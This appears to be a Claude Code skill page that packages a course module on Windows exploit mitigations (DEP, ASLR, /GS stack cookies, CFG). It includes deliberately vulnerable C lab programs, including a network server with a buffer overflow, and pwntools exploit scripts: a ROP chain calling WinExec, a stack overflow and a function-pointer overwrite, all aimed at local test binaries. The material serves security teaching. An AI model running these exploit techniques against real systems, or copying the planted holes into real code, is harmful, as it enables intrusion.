/cybersec-toolkit:offensive-windows-mitigationsfrom cybersec-toolkit
Deep-dive on Windows exploit mitigations including ASLR, DEP/NX, CFG, CET/Shadow Stack, SEHOP, Heap Guard, ACG, and Arbitrary Code Guard. Covers protection mechanisms and known bypass techniques for authorized security research.
Ships in cybersec-toolkit. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description, though model invocation is off: only you can start it.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Deep-dive on Windows exploit mitigations: ASLR, DEP/NX, CFG, CET/Shadow Stack, SEHOP, Heap Guard, ACG, Arbitrary Code Guard. Covers both the protection mechanism and known bypass techniques. Use when researching Windows exploit mitigations, planning bypass strategies, or understanding protection depth.
Use this skill when the conversation involves any of:
Windows mitigations, ASLR, DEP, NX, CFG, CET, shadow stack, SEHOP, heap guard, ACG, mitigation bypass, exploit mitigation, Windows hardening
When this skill is active:
created by AnotherOne from @Pwn3rzs Telegram channel.
Last week you learned basic exploitation in an environment without protections. This week, you'll learn about the defensive mechanisms that modern Windows systems employ to prevent those attacks. Understanding these mitigations is essential before learning to bypass them (Week 8). Week 7 continues with enterprise security topics (offensive reconnaissance, Windows 11 24H2/25H2 mitigations, cross-platform defenses).
This Week's Focus:
Before starting this week, ensure you have:
By the end of this week, you should have completed the following:
vulnerable_suite_win_mitigated.c and vuln_server_win.c with various mitigation flagscheck_aslr.exe across 3 reboots and documented randomization behavior/GS cookie check failure and analyzed in WinDbg!analyze -vWhy Mitigations Matter: Modern exploits chain multiple vulnerabilities and bypass layers of protection. Understanding mitigations helps you:
Recent CVEs Demonstrating Mitigation Importance:
| CVE | Vulnerability | Mitigations Involved | Outcome |
|---|---|---|---|
| CVE-2024-21338 | AppLocker (appid.sys) EoP | KASLR, SMEP, kCFG | Admin-to-Kernel bypass of kCFG |
| CVE-2024-30088 | Authz Kernel TOCTOU | KASLR, SMEP, CFG | Exploited via race condition |
| CVE-2023-36802 | MSKSSRV Object Type Confusion | KASLR, SMEP, CFG | Pool spray + type confusion to EoP |
| CVE-2025-29824 | CLFS Driver Use-After-Free | KASLR, SMEP | Zero-day exploited in wild (Apr 2025) |
| CVE-2024-49138 | CLFS Heap-Based Buffer Overflow | DEP, ASLR, KASLR | EoP exploited in wild (Dec 2024) |
| CVE-2023-32019 | Windows Kernel Info Disclosure | KASLR | Leaked kernel memory bypassing KASLR |
| CVE-2023-28252 | CLFS Driver EoP | KASLR, SMEP | Abused CLFS log file parsing |
| CVE-2022-34718 | Windows TCP/IP RCE (EvilESP) | DEP, ASLR, CFG | Required sophisticated heap grooming |
Connection to Week 4 (Crash Analysis):
When you receive a crash dump, the exception codes reveal which mitigation stopped the exploit:
Week 4 Crash Analysis -> Week 6 Mitigation Identification
─────────────────────────────────────────────────────────
Process Exit Code WinDbg Exception Code Mitigation
────────────────────── ───────────────────── ──────────
0xC0000005 (Param[0]=8) 0xC0000005 DEP violation (execute on NX page)
0xC0000409 0xC0000409 (subcode 2) /GS stack cookie corruption
0x80000003 0xC0000409 (subcode 10) CFG indirect call validation failed
0x80000003 0xC0000407 CET shadow stack mismatch
0xC0000374 0xC0000374 Heap integrity check failed
IMPORTANT: Python/cmd see the PROCESS EXIT CODE. WinDbg sees the EXCEPTION CODE.
CFG and CET both use __fastfail() which raises int 0x29 -> exit code 0x80000003,
but the EXCEPTION RECORD inside WinDbg shows the original status code.
Understanding these bug classes prepares you for real-world vulnerability research:
| Bug Class | Example CVE | Mitigation Interaction | Week 8 Bypass |
|---|---|---|---|
| Race Condition | CVE-2024-30088 (Authz) | TOCTOU bypasses simple checks | Timing manipulation |
| Type Confusion | CVE-2023-36802 (MSKSSRV) | CFG validates calls, but confused object bypasses | Object spray |
| Pointer Deref | CVE-2024-21338 (appid.sys) | kCFG bypass via direct manipulation | Arbitrary read/write |
| Integer Overflow | CVE-2021-34535 (RDP) | Safe integer functions | Find unchecked paths |
| Arbitrary Write | CVE-2023-28252 (CLFS) | KASLR, SMEP | Info leak chain |
check_aslr.exe across 3 rebootsC:\Windows_Mitigations_Lab\
- src\ # Source code for test binaries
- bin\ # Compiled binaries
- dumps\ # Crash dumps from WER/ProcDump
- exploits\ # Week 5 exploits for testing
- reports\ # Mitigation audit reports
If you are coming from Week 5 (Linux), use this table to map your pwndbg commands to WinDbg:
| Description | Pwndbg Equivalent | WinDbg Command |
|---|---|---|
| Crash analysis | bt, regs, context | !analyze -v |
| Memory display | x/b, x/w, x/g | db/dd/dq |
| Smart pointers | telescope | dps |
| Disassembly | x/i or disassemble | u |
| Set breakpoint | break or b | bp |
| Hardware watch | watch or rwatch | ba w |
| Continue | continue or c | g |
| Step over/into | next / step | p / t |
| Search memory | search "string" | s -a |
| List modules | vmmap or info shared | lm |
| Heap analysis | heap, bins, arena | !heap |
[!TIP] Week 4 Callback: For more advanced WinDbg usage, refer back to Week 4: Crash Analysis where we covered TTD (Time Travel Debugging) and symbol configuration in detail.
To maintain continuity with previous weeks, we will use a Windows port of the vulnerable suite and the capstone server. Save these into C:\Windows_Mitigations_Lab\src.
1. The Mitigation Test Suite (vulnerable_suite_win_mitigated.c)
This replaces generic tests (dep_test.c, etc.) with a unified suite mirroring Week 4's lab.
[!IMPORTANT] Modern MSVC removed
gets()- it was removed in C11 as too dangerous. We usefgets()with a size mismatch instead, which MSVC recognizes as needing/GSprotection.
/*
* vulnerable_suite_win_mitigated.c
* Windows Port of Week 4 Vulnerable Suite
* Compile with varying flags to test mitigations.
*
* NOTE: gets() was removed in modern MSVC. We use fgets() with
* intentional size mismatch to create the same vulnerability
* while triggering MSVC's /GS heuristics.
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "user32.lib")
void stack_overflow() {
char buffer[64];
printf("[*] Stack Overflow Target: Buffer at %p\n", buffer);
printf("[*] Enter payload: ");
fflush(stdout);
// Vulnerable: fgets reads up to 256 bytes into 64-byte buffer!
// This pattern triggers MSVC's /GS protection when compiled with /GS
fgets(buffer, 256, stdin);
buffer[strcspn(buffer, "\n")] = 0; // Remove newline
printf("[*] Received: %s\n", buffer);
}
void heap_overflow() {
HANDLE hHeap = GetProcessHeap();
char *chunk1 = (char*)HeapAlloc(hHeap, 0, 64);
char *chunk2 = (char*)HeapAlloc(hHeap, 0, 64);
printf("[*] Heap Chunks: %p, %p\n", chunk1, chunk2);
printf("[*] Simulating linear overflow from Chunk1...\n");
// Vulnerable: overflow into chunk2 metadata
memset(chunk1, 'A', 128);
printf("[*] Freeing corrupted Chunk2 (Should crash if Heap Integrity on)...\n");
HeapFree(hHeap, 0, chunk2);
HeapFree(hHeap, 0, chunk1);
}
void dep_trigger() {
printf("[*] DEP Trigger: Executing data section...\n");
// Int3 (0xCC) ; Ret (0xC3)
unsigned char shellcode[] = { 0xCC, 0xC3 };
void (*func)() = (void(*)())shellcode;
func();
}
void funcptr_test() {
void (*callback)() = dep_trigger;
printf("[*] Function Pointer Test\n");
printf("[*] Function pointer at: %p\n", &callback);
printf("[*] Currently points to: %p\n", callback);
printf("[*] Enter new function address (hex): ");
fflush(stdout);
unsigned long long addr;
scanf("%llx", &addr);
callback = (void(*)())addr;
printf("[*] Calling function at %p...\n", callback);
callback(); // CFG would block this if target is invalid
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: %s <mode>\n", argv[0]);
printf("Modes: stack, heap, dep, funcptr\n");
return 1;
}
if (strcmp(argv[1], "stack") == 0) stack_overflow();
else if (strcmp(argv[1], "heap") == 0) heap_overflow();
else if (strcmp(argv[1], "dep") == 0) dep_trigger();
else if (strcmp(argv[1], "funcptr") == 0) funcptr_test();
return 0;
}
2. The Capstone Server (vuln_server_win.c)
A Winsock port of the Week 5 Capstone. Used to test network exploits against hardened Windows.
/*
* vuln_server_win.c - Winsock Port
* Compile: cl vuln_server_win.c /link ws2_32.lib
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void handle_client(SOCKET client_socket) {
char buffer[512];
char response[] = "Welcome to SecureServer v1.0 (Windows)\n";
send(client_socket, response, strlen(response), 0);
// VULNERABILITY: Stack Buffer Overflow
// recv accepts up to 1024 bytes into a 512 byte buffer
int bytes_received = recv(client_socket, buffer, 1024, 0);
if (bytes_received > 0) {
printf("[*] Received %d bytes\n", bytes_received);
buffer[bytes_received] = '\0';
// Echo back (Format String vuln potential if printf(buffer) used)
send(client_socket, buffer, bytes_received, 0);
}
closesocket(client_socket);
}
int main() {
WSADATA wsa;
SOCKET server_fd, client_fd;
struct sockaddr_in server, client;
int c;
WSAStartup(MAKEWORD(2,2), &wsa);
server_fd = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(8888);
bind(server_fd, (struct sockaddr *)&server, sizeof(server));
listen(server_fd, 3);
printf("[*] Windows Vulnerable Server listening on port 8888...\n");
c = sizeof(struct sockaddr_in);
while((client_fd = accept(server_fd, (struct sockaddr *)&client, &c)) != INVALID_SOCKET) {
printf("[*] Connection accepted\n");
handle_client(client_fd);
}
closesocket(server_fd);
WSACleanup();
return 0;
}
Per-Binary Mitigation Control:
# RECOMMENDED: Control mitigations via compiler/linker flags per binary
# This is safer, doesn't require reboots, and mirrors enterprise practice
# Build WITHOUT mitigations (for Week 5-style testing):
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT:NO /DYNAMICBASE:NO /FIXED
# Build WITH mitigations (for Week 6 testing):
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\mitigated_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf
# Per-process mitigation control (Run in ADMIN POWERSHELL):
Set-ProcessMitigation -Name "bin\dep_test.exe" -Disable DEP,ForceRelocateImages,BottomUp
Set-ProcessMitigation -Name "bin\dep_test.exe" -Enable DEP,ForceRelocateImages,BottomUp
# NOTE: On x64 Windows, DEP is often MANDATORY for 64-bit processes
# regardless of linker flags. Use Set-ProcessMitigation to override.
Compiler/Linker Flag Reference (x64):
| Mitigation | Enable Flag | Disable Flag |
|---|---|---|
| DEP | /NXCOMPAT (default) | /NXCOMPAT:NO |
| ASLR | /DYNAMICBASE (default) | /DYNAMICBASE:NO /FIXED |
| High Entropy | /HIGHENTROPYVA | (omit flag) |
| Stack Cookies | /GS (default) | /GS- |
| CFG | /guard:cf | (omit flag) |
| CET Compat | /CETCOMPAT | (omit flag) |
Setup (Using Standardized Suite):
# PREFERRED: Use per-binary linker flags instead of system-wide changes
# Compile WITH DEP, WITHOUT ASLR (to isolate DEP testing)
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\dep_test.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED
# Verify the binary has DEP enabled:
dumpbin /headers bin\dep_test.exe | findstr "NX compatible"
# Should show: "NX compatible"
Setup:
# Compile with BOTH DEP and ASLR enabled via linker flags
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\aslr_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
# Verify:
dumpbin /headers bin\aslr_test.exe | findstr "NX Dynamic High"
# Should show: NX compatible, Dynamic base, High Entropy Virtual Addresses
[!CAUTION] System DLL ASLR Even if you compile your binary with
/DYNAMICBASE:NO /FIXED, Windows 10/11 will still randomize the location of system DLLs likekernel32.dllandkernelbase.dllon each boot.To demonstrate the ASLR bypass working on
dep_test.exe, you must:
- Find the current addresses using WinDbg (see instructions below)
- Update the address variables in your script
- The exploit will work on
dep_test.exe(binary has no ASLR)- The exploit will fail on
aslr_test.exe(binary base is randomized)- After a reboot, even
dep_test.exeaddresses become invalid - demonstrating why ASLR matters
Finding Gadget Addresses with WinDbg:
# Launch WinDbg with the target
windbg C:\Windows_Mitigations_Lab\bin\dep_test.exe stack
# In WinDbg, run these commands:
0:000> g # Run to the input prompt
0:000> lm # List loaded modules
0:000> x KERNEL32!WinExec # Find WinExec address
0:000> s -b KERNELBASE <start> L<size> 59 c3 # Find 'pop rcx; ret' (59 c3)
0:000> u <address> L2 # Verify the gadget
# Example session:
# 0:000> x KERNEL32!WinExec
# 00007ffd`616907f0 KERNEL32!WinExec
# 0:000> s -b KERNELBASE 00007ffd`5f8d0000 L3ef000 59 c3
# 00007ffd`5f912303 59 c3 ...
# 0:000> u 00007ffd`5f912303 L2
# 00007ffd`5f912303 59 pop rcx
# 00007ffd`5f912304 c3 ret <- Clean gadget!
Test Your Week 5 ROP Exploit (x64):
This script demonstrates a ROP chain that bypasses DEP using WinExec. Run it against both binaries to see ASLR's effect:
#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_aslr_test.py
"""
Test: Week 5 ROP/ret2lib exploit - Demonstrating ASLR's Effect
Usage:
1. First, get current addresses from WinDbg attached to dep_test.exe:
- x KERNEL32!WinExec
- s -b KERNELBASE <start> L<size> 59 c3 (find 'pop rcx; ret')
2. Update the addresses below
3. Run against dep_test.exe -> Should SUCCEED (calc pops)
4. Run against aslr_test.exe -> Should FAIL (addresses randomized)
5. Reboot and try dep_test.exe again -> Should FAIL (DLL addresses changed)
"""
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'info'
# Choose target binary (default: dep_test.exe for success demo)
target = sys.argv[1] if len(sys.argv) > 1 else 'dep_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'
log.info(f"Target: {target}")
io = process([target_path, 'stack'])
# --- VERIFIED ADDRESSES FROM WINDBG SESSION ---
# UPDATE THESE for your system! Find them with:
# WinDbg> x KERNEL32!WinExec
# WinDbg> s -b KERNELBASE <start> L<size> 59 c3
# ropper --file bin\dep_test.exe --search "ret"
winexec_addr = 0x00007ffd616907f0 # KERNEL32!WinExec
pop_rcx_ret = 0x00007ffd5f912303 # KERNELBASE: pop rcx; ret
ret_gadget = 0x0000000140001078 # dep_test.exe: clean 'ret' gadget
# NOTE: ret_gadget is from the BINARY, not system DLLs!
# For dep_test.exe (no ASLR): binary always loads at 0x140000000
# For aslr_test.exe (ASLR): binary base is randomized - this gadget WON'T WORK
log.info(f"WinExec: {hex(winexec_addr)}")
log.info(f"pop rcx;ret: {hex(pop_rcx_ret)}")
# --- LEAK STACK ADDRESS ---
io.recvuntil(b"Buffer at ")
stack_leak = int(io.recvline().strip(), 16)
log.info(f"Stack leak: {hex(stack_leak)}")
io.recvuntil(b"Enter payload: ")
# --- BUILD PAYLOAD ---
offset_to_ret = 72
cmd_string_offset = 200 # Place "calc.exe" at a safe offset
cmd_string_addr = stack_leak + cmd_string_offset
payload = b"A" * offset_to_ret
# ROP Chain:
# 1. Align stack (needed for some functions)
payload += p64(ret_gadget)
# 2. pop rcx; ret -> RCX = &"calc.exe"
payload += p64(pop_rcx_ret)
payload += p64(cmd_string_addr)
# 3. Call WinExec("calc.exe", <whatever is in RDX>)
payload += p64(winexec_addr)
# Pad to cmd_string_offset and add the command
payload = payload.ljust(cmd_string_offset, b"X")
payload += b"calc.exe\x00"
log.info(f"Payload size: {len(payload)}")
log.info(f"cmd @ stack+{cmd_string_offset} = {hex(cmd_string_addr)}")
io.sendline(payload)
# --- CHECK RESULT ---
import time
time.sleep(2)
# Wait for process and check result
try:
io.wait(timeout=3)
except:
pass
if io.returncode is None:
# Process still running - ROP chain might have worked!
log.success("Process still alive after ROP chain")
log.info("CHECK MANUALLY: Did calc.exe pop up?")
log.info(f" - If YES: Exploit succeeded against {target}")
log.info(f" - If NO: ROP chain failed silently (bad addresses?)")
io.close()
else:
exit_code = io.returncode & 0xFFFFFFFF
if exit_code == 0xc0000005: # ACCESS_VIOLATION
log.failure(f"Access Violation - exploit FAILED against {target}")
if 'aslr' in target.lower():
log.info("EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!")
log.info("The ROP chain used a gadget from the binary at a fixed address.")
else:
log.warning("Addresses may be stale. Re-run WinDbg and update them.")
elif exit_code == 0xc0000409: # STACK_BUFFER_OVERRUN
log.failure(f"/GS cookie triggered - exploit FAILED against {target}")
elif exit_code == 0:
log.info("Process exited normally (code 0)")
log.info("CHECK MANUALLY: Did calc.exe pop up?")
else:
log.info(f"Exit code: {hex(exit_code)}")
Expected Results:
# Against dep_test.exe (no ASLR) - calc.exe pops!
python exploits\week5_aslr_test.py dep_test.exe
#[*] Target: dep_test.exe
#[*] WinExec: 0x7ffd616907f0
#[*] pop rcx;ret: 0x7ffd5f912303
#[*] Stack leak: 0x14fea0 <- Low, predictable address (no ASLR)
#[+] Process still alive after ROP chain
#[*] CHECK MANUALLY: Did calc.exe pop up?
# -> YES! calc.exe appeared - exploit succeeded!
# Against aslr_test.exe (ASLR enabled) - exploit fails!
python exploits\week5_aslr_test.py aslr_test.exe
#[*] Target: aslr_test.exe
#[*] Stack leak: 0xaf185efab0 <- High entropy, randomized!
#[*] Process exited with code: 0xc0000005
#[-] Access Violation - exploit FAILED against aslr_test.exe
#[*] EXPECTED: ASLR randomized the binary base, ret_gadget is invalid!
| Target | Stack Address | ret_gadget Valid? | Calc Pops? | Why |
|---|---|---|---|---|
dep_test.exe | 0x14fea0 (fixed) | Yes | Yes | Binary at 0x140000000, gadget at known address |
aslr_test.exe | Random each run | No | No | Binary base randomized, 0x140001078 is unmapped |
[!IMPORTANT] Why ASLR Breaks the Exploit The ROP chain uses
ret_gadget = 0x140001078which is an address inside the binary.
dep_test.exe: Always loads at0x140000000(ASLR disabled), gadget is validaslr_test.exe: Loads at random base each run,0x140001078points to garbage -> crash
Setup:
# Compile WITH /GS (stack cookies) - this is the VS default
# The /D_CRT_SECURE_NO_WARNINGS suppresses scanf deprecation warnings
cl /GS /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\gs_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
# Check protections - /GS doesn't show in headers, but DEP+ASLR will:
dumpbin /headers bin\gs_test.exe | findstr "NX Dynamic High"
# Expected: NX compatible, Dynamic base, High Entropy Virtual Addresses
# Also compile WITHOUT /GS for comparison:
cl /GS- /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\no_gs_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
[!NOTE] Stack Cookies (/GS) Don't Appear in PE Headers Unlike DEP and ASLR, stack cookie protection is purely a compiler feature. The cookie check code is embedded directly in function prologues/epilogues. You can verify /GS is active by disassembling a function with a local buffer:
dumpbin /disasm bin\gs_test.exe | findstr "__security_cookie"
Forcing /GS Protection:
MSVC uses heuristics to decide which functions need stack cookies. Functions with strcpy, fgets with size mismatch, or similar patterns are protected. Simple getchar() loops may be skipped!
# The vulnerable function MUST use patterns MSVC recognizes as dangerous:
# - strcpy() to a local buffer
# - fgets() with size > buffer size
# - sprintf() without bounds
# Our vulnerable_suite uses: fgets(buffer, 256, stdin) into char buffer[64]
# This triggers /GS because 256 > 64
# Verify cookie is present by checking for the cookie load pattern:
dumpbin /disasm bin\gs_test.exe > disasm.txt
powershell -Command "Get-Content disasm.txt | Select-Object -First 50"
# Look for: mov rax,qword ptr [ADDR] ; xor rax,rsp ; mov [rsp+XX],rax
Test Your Week 5 Stack Overflow:
#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_gs_test.py
"""
Test: Week 5 stack overflow against DEP+ASLR+GS system
Expected: FAIL - stack cookie corrupted, process terminates before return
Usage:
python exploits\week5_gs_test.py gs_test.exe # With /GS - should fail with cookie check
python exploits\week5_gs_test.py no_gs_test.exe # Without /GS - crashes at return
"""
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'info'
# Choose target binary
target = sys.argv[1] if len(sys.argv) > 1 else 'gs_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'
log.info(f"Target: {target}")
io = process([target_path, 'stack'])
# Wait for the prompt
io.recvuntil(b"Buffer at ")
stack_leak = int(io.recvline().strip(), 16)
log.info(f"Stack leak: {hex(stack_leak)}")
io.recvuntil(b"Enter payload: ")
# Stack layout (from disassembly of gs_test.exe):
# sub rsp, 88h ; 136 byte frame
# buffer at [rsp+30h] ; offset 48
# cookie at [rsp+70h] ; offset 112 (64 bytes after buffer start)
# return at [rsp+88h] ; offset 136 (after frame restoration)
#
# To trigger /GS: overflow past 64 bytes to corrupt the cookie at offset 64
# To trigger crash without /GS: overflow ~88 bytes to corrupt return address
#
# We send 150 bytes to ensure we corrupt both cookie AND return address
overflow_size = 150 # Enough to corrupt cookie (64+) and return address (88+)
payload = b"A" * overflow_size
log.info(f"Sending {len(payload)} bytes to overflow 64-byte buffer")
io.sendline(payload)
# Wait for process to terminate (use wait() not poll() for Windows compatibility)
try:
io.wait(timeout=5)
except:
pass
# Check the return code
if io.returncode is not None:
exit_code = io.returncode & 0xFFFFFFFF
log.info(f"Process exited with code: {hex(exit_code)}")
if exit_code == 0xc0000409: # STATUS_STACK_BUFFER_OVERRUN
log.success("Stack buffer overrun detected! (/GS protection triggered)")
log.info("Cookie was corrupted -> __security_check_cookie() called __fastfail()")
elif exit_code == 0xc0000005: # STATUS_ACCESS_VIOLATION
log.warning("Access Violation - jumped to corrupted return address")
log.info("No /GS cookie check occurred - function returned to garbage")
elif exit_code == 0 or exit_code == 1:
log.warning(f"Process exited normally (code {exit_code}) - no crash!")
else:
log.info(f"Check Windows NTSTATUS codes for {hex(exit_code)}")
else:
log.warning("Process did not terminate within timeout")
io.close()
Expected Results:
# Against gs_test.exe (with /GS) - cookie corruption detected!
python exploits\week5_gs_test.py gs_test.exe
#[*] Target: gs_test.exe
#[*] Stack leak: 0x30242ff940
#[*] Sending 150 bytes to overflow 64-byte buffer
#[*] Process exited with code: 0xc0000409
#[+] Stack buffer overrun detected! (/GS protection triggered)
#[*] Cookie was corrupted -> __security_check_cookie() called __fastfail()
# Against no_gs_test.exe (without /GS) - crashes at return
python exploits\week5_gs_test.py no_gs_test.exe
#[*] Target: no_gs_test.exe
#[*] Stack leak: 0x673ccffc80
#[*] Sending 150 bytes to overflow 64-byte buffer
#[*] Process exited with code: 0xc0000005
#[!] Access Violation - jumped to corrupted return address
#[*] No /GS cookie check occurred - function returned to garbage
| Target | Exit Code | Meaning |
|---|---|---|
gs_test.exe | 0xc0000409 | STATUS_STACK_BUFFER_OVERRUN - /GS caught the corruption |
no_gs_test.exe | 0xc0000005 | STATUS_ACCESS_VIOLATION - crashed trying to return to 0xdeadbeef |
Document: "Stack cookies detect overflow before return. Even if I bypass DEP+ASLR, the cookie check terminates the process before the corrupted return address is used."
CFG (Control Flow Guard) validates indirect call targets at runtime. We'll use the standardized suite which includes a function pointer test case.
Setup:
# Compile WITH CFG - all mitigations enabled
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\cfg_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf
# Compile WITHOUT CFG for comparison (but keep /GS to isolate CFG testing)
cl /GS /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\no_cfg_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA
# Verify CFG is enabled in the binary:
dumpbin /headers /loadconfig bin\cfg_test.exe | findstr "Guard"
# Expected: "Guard CF instrumented" and "Guard" flags in load config
[!NOTE] CFG Compilation Requirement: CFG protection only applies to binaries compiled with
/guard:cf. Enabling system-wide CFG (Set-ProcessMitigation -System -Enable CFG) does NOT protect non-CFG-compiled binaries. The call sites must be instrumented by the compiler to perform bitmap validation checks.
Test Function Pointer Overwrite:
#!/usr/bin/env python3
# c:\Windows_Mitigations_Lab\exploits\week5_cfg_test.py
"""
Test: Week 5 function pointer overwrite against CFG
Expected: FAIL - CFG validates indirect call target and rejects bad address
Usage:
python exploits\week5_cfg_test.py cfg_test.exe # With CFG - should fail CFG check
python exploits\week5_cfg_test.py no_cfg_test.exe # Without CFG - crashes at call
"""
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'info'
# Choose target binary
target = sys.argv[1] if len(sys.argv) > 1 else 'cfg_test.exe'
target_path = rf'C:\Windows_Mitigations_Lab\bin\{target}'
log.info(f"Target: {target}")
# The vulnerable suite's 'funcptr' mode tests function pointer corruption
io = process([target_path, 'funcptr'])
# Read initial output with timeout
try:
# Read until we see the prompt for address input
output = io.recvuntil(b"Enter new function address", timeout=5)
log.info("Got function pointer test output")
except:
log.error("Timeout waiting for funcptr prompt")
io.close()
sys.exit(1)
# Try to redirect to an invalid address (simulating heap corruption)
# In a real exploit, this might point to shellcode or a ROP gadget
bad_target = 0xdeadbeefcafe
log.info(f"Attempting to redirect function pointer to: {hex(bad_target)}")
io.sendline(hex(bad_target).encode())
# Wait for process to handle the call and crash/exit
try:
io.wait(timeout=5)
except:
pass
if io.returncode is None:
log.warning("Process still running - unexpected")
io.close()
else:
exit_code = io.returncode & 0xFFFFFFFF
log.info(f"Process exited with code: {hex(exit_code)}")
if exit_code == 0x80000003: # STATUS_BREAKPOINT (__fastfail via int 0x29)
log.success(f"CFG validation failed! Call to {hex(bad_target)} blocked")
log.info("CFG checked the bitmap, rejected invalid target, called __fastfail()")
log.info("NOTE: __fastfail raises int 0x29 -> process exit = 0x80000003")
log.info(" WinDbg exception record still shows 0xC0000409 subcode 10")
elif exit_code == 0xc0000409: # STATUS_STACK_BUFFER_OVERRUN
log.success(f"/GS cookie caught the overflow BEFORE CFG checked the call")
log.info("/GS uses __fastfail(2) but exit code differs from CFG's __fastfail(10)")
elif exit_code == 0xc0000005: # STATUS_ACCESS_VIOLATION
log.warning(f"Access Violation - call to {hex(bad_target)} attempted")
log.info("CFG was NOT active - call went through but crashed at bad address")
else:
log.info(f"Check Windows NTSTATUS codes for {hex(exit_code)}")
Expected Results:
# Against cfg_test.exe (with CFG) - call blocked!
python exploits\week5_cfg_test.py cfg_test.exe
#[*] Target: cfg_test.exe
#[*] Got function pointer test output
#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe
#[*] Process exited with code: 0x80000003
#[+] CFG validation failed! Call to 0xdeadbeefcafe blocked
#[*] CFG checked the bitmap, rejected invalid target, called __fastfail()
#[*] NOTE: __fastfail raises int 0x29 -> process exit = 0x80000003
#[*] WinDbg exception record still shows 0xC0000409 subcode 10
# Against no_cfg_test.exe (without CFG) - crashes at call
python exploits\week5_cfg_test.py no_cfg_test.exe
#[*] Target: no_cfg_test.exe
#[*] Got function pointer test output
#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe
#[*] Process exited with code: 0xc0000005
#[!] Access Violation - call to 0xdeadbeefcafe attempted
#[*] CFG was NOT active - call went through but crashed at bad address
| Target | Exit Code | What Happened |
|---|---|---|
cfg_test.exe | 0x80000003 | CFG intercepted the call, checked bitmap, __fastfail(10) -> int 0x29 |
no_cfg_test.exe | 0xc0000005 | No CFG - call executed, jumped to 0xdeadbeefcafe, crashed |
Document: "CFG validates indirect calls against a bitmap of valid targets. Even with a write primitive to corrupt function pointers, calls to arbitrary addresses are blocked."
| Mitigation | Enable Via | Works In Any VM |
|---|---|---|
| DEP | /NXCOMPAT (linker) or system-wide | Yes |
| ASLR | /DYNAMICBASE (linker) | Yes |
| High Entropy | /HIGHENTROPYVA (linker) | Yes |
| Stack Cookies | /GS (compiler, default) | Yes |
| CFG | /guard:cf (compiler+linker) | Yes |
| XFG | OS-level (via /guard:cf metadata) | Yes |
| SEHOP | System default (x86) | Yes |
| SafeSEH | /SAFESEH (x86 only) | Yes |
Track A Setup (works everywhere):
# Compile a fully-protected binary (Track A mitigations) using the standardized suite
cl /GS /guard:cf /D_CRT_SECURE_NO_WARNINGS src\vulnerable_suite_win_mitigated.c /Fe:bin\full_protect_test.exe /link /NXCOMPAT /DYNAMICBASE /HIGHENTROPYVA /guard:cf
# Verify all protections:
dumpbin /headers /loadconfig bin\full_protect_test.exe | findstr "NX Dynamic High Guard"
# Expected: NX compatible, Dynamic base, High Entropy, Guard CF instrumented
# Test: all Week 5 exploits should fail against this binary
python exploits\week5_aslr_test.py full_protect_test.exe # Fails: /GS catches overflow first!
python exploits\week5_gs_test.py full_protect_test.exe # Fails: /GS detects cookie corruption
python exploits\week5_cfg_test.py full_protect_test.exe # Fails: CFG blocks bad call targets
Test Results:
c:\Windows_Mitigations_Lab>python exploits\week5_aslr_test.py full_protect_test.exe
#[*] Target: full_protect_test.exe
#[*] Stack leak: 0xf2801efca0 <- ASLR randomized
#[*] Process exited with code: 0xc0000409
#[-] /GS cookie triggered - exploit FAILED
c:\Windows_Mitigations_Lab>python exploits\week5_gs_test.py full_protect_test.exe
#[*] Sending 150 bytes to overflow 64-byte buffer
#[*] Process exited with code: 0xc0000409
#[+] Stack buffer overrun detected! (/GS protection triggered)
c:\Windows_Mitigations_Lab>python exploits\week5_cfg_test.py full_protect_test.exe
#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe
#[*] Process exited with code: 0x80000003
#[+] CFG validation failed! Call to 0xdeadbeefcafe blocked
| Exploit | Attack Vector | Stopped By | Exit Code |
|---|---|---|---|
week5_aslr_test.py | ROP chain | /GS (overflow corrupts cookie) | 0xc0000409 |
week5_gs_test.py | Stack overflow | /GS (cookie check) | 0xc0000409 |
week5_cfg_test.py | Function pointer | CFG (bitmap check) | 0x80000003 |
[!NOTE] Defense in Depth: The ROP exploit was stopped by /GS, not ASLR! The stack overflow corrupted the cookie before the corrupted return address was ever used. Multiple mitigations provide overlapping protection.
Before proceeding to Day 1's detailed content, complete these exercises:
